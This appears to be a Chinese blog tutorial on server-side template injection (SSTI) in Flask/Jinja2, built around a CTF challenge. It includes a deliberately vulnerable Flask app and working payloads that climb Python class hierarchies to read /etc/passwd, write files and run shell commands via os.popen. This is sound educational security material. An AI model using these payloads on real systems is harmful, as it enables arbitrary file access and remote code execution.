SSTI模板注入
SSTI模板注入
SSTI,服务器端模板注入(Server-Side Template Injection)
1.什么是SSTI
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
主要框架:
- python:jinja2、mako、tornado、django
- php:smarty、twig
- java:jade、velocity
2.基础知识

利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
但是新的模板引擎往往会有一些安全问题 , 即使大部分模板引擎有提供沙箱隔离机制 , 但同样存在沙箱逃逸技术来绕过
沙箱逃逸就是在一个代码执行环境下 (Oj 或使用 socat 生成的交互式终端),脱离种种过滤和限制,最终成功拿到 shell 权限的过程
3.flask模板
- Flask 是一个用 Python 编写的 Web 应用程序框架,其优点是提供给用户的扩展能力很强,框架只完成了简单的功能,有很大一部分功能可以让用户自己选择并实现
@app.route('/')
使用route()装饰器来告诉flask什么样的URL 能触发函数
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/') #访问127.0.0.1:5000/
def hello_world():
return 'Hello World!'
@app.errorhandler(404) #访问不存在页面
def page_not_found(e):
template = ''' <!--#此为网页源码-->
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3> <!--#占位符-->
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)

当访问不存在的页面时 就会报错 其中的None即是%s占位符 是通过404_url来的
request.args.get('404_url'):
- request:Flask 提供的请求对象,包含所有 HTTP 请求信息
- .args:请求中的查询参数(URL 中
?后面的部分)- .get('404_url'):获取名为
404_url的参数值,不存在则返回None
所以我们可以控制404_url的值 来控制返回值

当我们传入{{}}时 被包含的内容会被当做代码执行 从而导致SSTI漏洞

4.魔术方法
借助类之间的继承关系 调用所需库及函数
对于返回的是定义的Class类的话:
__dict__ //返回类中的函数和属性,父类子类互不影响
__bases__ //返回类的父类 python3
__mro__ //返回类继承的元组,(寻找父类) python3
__init__ //返回类的初始化方法
__subclasses__() //返回类中仍然可用的引用,即返回子类 python3
__globals__ //对包含函数全局变量的字典的引用 python3
对于返回的是类实例的话:
__class__ //查看变量所属的类,返回实例的对象,可以使类实例指向Class,使用上面的魔术方法
__class__//查看变量所属的类,返回实例的对象
>>> ''.__class__
<class 'str'> #''为字符型str
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> [].__class__
<class 'list'>
__bases__//返回类的父类,返回所有直接父类组成的元组 使用语法:类名.__bases__
__mro__//返回类继承的元组 与__bases__类似
>>> ''.__class__.__bases__
(<class 'object'>,) #返回元组
>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
__subclasses__()//获取当前类的所有子类
>>>' '.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>,还有好多就不放出来了]
根据步骤 获取所有子类之后 寻找可利用子类 完成注入
任意文件读写
eg.攻防世界Web_python_template_injection
{{''.__class__.__mro__}}
>>(<type 'str'>, <type 'basestring'>, <type 'object'>)
这里用__mro__获取所有父类 因为需要object 而__base__只能获取直接父类
以0开始的下标 所需object类的下标为2
{{''.__class__.__mro__[2].__subclasses__()}}
找到文件读写所需的指令<type 'file'> 下标为40
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

返回了配置文件的信息 证明存在任意文件读取漏洞
写文件相仿:
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')}}
任意命令执行
思路与读写文件类似 利用os模块
含
os模块的类:
- os.py:os._wrap_close
- linecache.py:linecache._StrList
- site.py
- posixpath.py
- pickle.py
- traceback.py
- tempfile.py
- shutil.py
- zipfile.py
查找所需子类下标的脚本:
str = "[得到的所有子类]"
str1 = str.split(",")
num = 0
ans = input("查找")
for i in str1:
if ans in i:
print(num)
break
num += 1
所以payload:
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
过滤:
SSTI漏洞利用及绕过总结(绕过姿势多样)_java ssti漏洞-CSDN博客
—————————————————————————————————————


浙公网安备 33010602011771号